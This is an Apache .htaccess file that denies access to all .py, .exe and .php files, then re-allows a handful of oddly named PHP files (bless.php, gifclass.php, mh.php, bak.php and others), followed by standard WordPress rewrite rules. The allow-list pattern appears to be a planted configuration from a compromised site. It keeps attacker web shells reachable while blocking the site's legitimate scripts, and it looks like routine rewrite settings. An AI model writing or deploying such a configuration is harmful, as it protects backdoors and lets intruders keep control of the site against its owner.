<FilesMatch '.(py|exe|php)$'> Order allow,deny Deny from all </FilesMatch> <FilesMatch '(^|/)(class-t.api|bak|mh|gifclass|index|bless|class)\.php$'> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / DirectoryIndex index.php RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>